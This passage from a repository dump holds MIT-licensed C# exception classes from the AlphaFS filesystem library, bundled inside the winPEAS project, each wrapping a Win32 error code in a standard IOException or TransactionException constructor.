* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The requested operation could not be completed because the device is not ready. [Serializable] public class DeviceNotReadyException : System.IO.IOException { private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_NOT_READY); private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_NOT_READY, new Win32Exception((int) Win32Errors.ERROR_NOT_READY).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public DeviceNotReadyException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public DeviceNotReadyException(string message) : base(message, ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file system object. /// Always set to true when using this constructor. [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "isPath")] public DeviceNotReadyException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, Path.GetCleanExceptionPath(path)), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the device. /// The inner exception. public DeviceNotReadyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, Path.GetCleanExceptionPath(path)), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected DeviceNotReadyException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/DirectoryNotEmptyException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The operation could not be completed because the directory is not empty. [Serializable] public class DirectoryNotEmptyException : System.IO.IOException { private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_DIR_NOT_EMPTY); private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_DIR_NOT_EMPTY, new Win32Exception((int) Win32Errors.ERROR_DIR_NOT_EMPTY).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public DirectoryNotEmptyException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public DirectoryNotEmptyException(string message) : base(message, ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the directory. /// Always set to true when using this constructor. [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "isPath")] public DirectoryNotEmptyException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file. /// The inner exception. public DirectoryNotEmptyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected DirectoryNotEmptyException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/DirectoryReadOnlyException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The operation could not be completed because the directory is read-only. [Serializable] public class DirectoryReadOnlyException : UnauthorizedAccessException { private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_FILE_READ_ONLY, new Win32Exception((int) Win32Errors.ERROR_FILE_READ_ONLY).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public DirectoryReadOnlyException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText)) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the directory. public DirectoryReadOnlyException(string path) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path)) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the directory. /// The inner exception. public DirectoryReadOnlyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected DirectoryReadOnlyException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/FileReadOnlyException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The operation could not be completed because the file is read-only. [Serializable] public class FileReadOnlyException : UnauthorizedAccessException { private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_FILE_READ_ONLY, new Win32Exception((int) Win32Errors.ERROR_FILE_READ_ONLY).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public FileReadOnlyException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText)) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file. public FileReadOnlyException(string path) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, Path.GetCleanExceptionPath(path))) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file. /// The inner exception. public FileReadOnlyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, Path.GetCleanExceptionPath(path)), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected FileReadOnlyException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/InvalidTransactionException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The transaction handle associated with this operation is not valid. [Serializable] public class InvalidTransactionException : TransactionException { /// [AlphaFS] Initializes a new instance of the class. public InvalidTransactionException() { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public InvalidTransactionException(string message) : base(message) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public InvalidTransactionException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected InvalidTransactionException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/NotAReparsePointException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The file or directory was not a reparse point. [Serializable] public class NotAReparsePointException : System.IO.IOException { private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_NOT_A_REPARSE_POINT); private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_NOT_A_REPARSE_POINT, new Win32Exception((int) Win32Errors.ERROR_NOT_A_REPARSE_POINT).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public NotAReparsePointException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The custom error message.. /// The GetLastWin32Error. public NotAReparsePointException(string message, int lastError) : base(message, lastError) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the reparse point. public NotAReparsePointException(string path) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the reparse point. /// The inner exception. public NotAReparsePointException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The info. /// The context. protected NotAReparsePointException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/NotSameDeviceException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.Serialization; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The exception that is thrown when an attempt perform an operation across difference devices when this is not supported. [Serializable] public class NotSameDeviceException : System.IO.IOException { private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_NOT_SAME_DEVICE); private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_NOT_SAME_DEVICE, new Win32Exception((int)Win32Errors.ERROR_NOT_SAME_DEVICE).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public NotSameDeviceException() : base(Resources.File_Or_Directory_Already_Exists, ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public NotSameDeviceException(string message) : base(message, ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public NotSameDeviceException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the device. /// Always set to true when using this constructor. [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "isPath")] public NotSameDeviceException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected NotSameDeviceException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionAlreadyAbortedException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] It is too late to perform the requested operation, since the Transaction has already been aborted. [Serializable] public class TransactionAlreadyAbortedException : TransactionException { /// [AlphaFS] Initializes a new instance of the class. public TransactionAlreadyAbortedException() { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public TransactionAlreadyAbortedException(string message) : base(message) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public TransactionAlreadyAbortedException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The info. /// The context. protected TransactionAlreadyAbortedException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionAlreadyCommittedException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] It is too late to perform the requested operation, since the Transaction has already been committed. [Serializable] public class TransactionAlreadyCommittedException : TransactionException { /// [AlphaFS] Initializes a new instance of the class. public TransactionAlreadyCommittedException() { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public TransactionAlreadyCommittedException(string message) : base(message) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public TransactionAlreadyCommittedException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The object that holds the serialized object data. /// The contextual information about the source or destination. protected TransactionAlreadyCommittedException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The exception that is thrown when an attempt to create a file or directory that already exists was made. [Serializable] public class TransactionException : SystemException { /// [AlphaFS] Initializes a new instance of the class. public TransactionException() { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public TransactionException(string message) : base(message) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public TransactionException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The data for serializing or deserializing the object. /// The source and destination for the object. protected TransactionException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionalConflictException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The function attempted to use a name that is reserved for use by another transaction. [Serializable] public class TransactionalConflictException : TransactionException { /// [AlphaFS] Initializes a new instance of the class. public TransactionalConflictException() { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public TransactionalConflictException(string message) : base(message) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public TransactionalConflictException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The info. /// The context. protected TransactionalConflictException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/UnrecognizedReparsePointException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Globalization; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The function attempted to use a name that is reserved for use by another transaction. [Serializable] public class UnrecognizedReparsePointException : System.IO.IOException { private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_INVALID_REPARSE_DATA); private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_INVALID_REPARSE_DATA, new Win32Exception((int) Win32Errors.ERROR_INVALID_REPARSE_DATA).Message.Trim().TrimEnd('.').Trim()); /// [AlphaFS] Initializes a new instance of the class. public UnrecognizedReparsePointException() : base(string.Format(CultureInfo.InvariantCulture, "{0}.", ErrorText), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The custom error message.. /// The GetLastWin32Error. public UnrecognizedReparsePointException(string message, int lastError) : base(message, lastError) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file system object. public UnrecognizedReparsePointException(string path) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), ErrorCode) { } /// [AlphaFS] Initializes a new instance of the class. /// The path to the file system object. /// The inner exception. public UnrecognizedReparsePointException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", ErrorText, path), innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The info. /// The context. protected UnrecognizedReparsePointException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/UnsupportedRemoteTransactionException.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.Serialization; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] The remote server or share does not support transacted file operations. [Serializable] public class UnsupportedRemoteTransactionException : TransactionException { /// [AlphaFS] Initializes a new instance of the class. public UnsupportedRemoteTransactionException() { } /// [AlphaFS] Initializes a new instance of the class. /// The message. public UnsupportedRemoteTransactionException(string message) : base(message) { } /// [AlphaFS] Initializes a new instance of the class. /// The message. /// The inner exception. public UnsupportedRemoteTransactionException(string message, Exception innerException) : base(message, innerException) { } /// [AlphaFS] Initializes a new instance of the class. /// The object that holds the serialized object data. /// The contextual information about the source or destination. protected UnsupportedRemoteTransactionException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.Compress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in 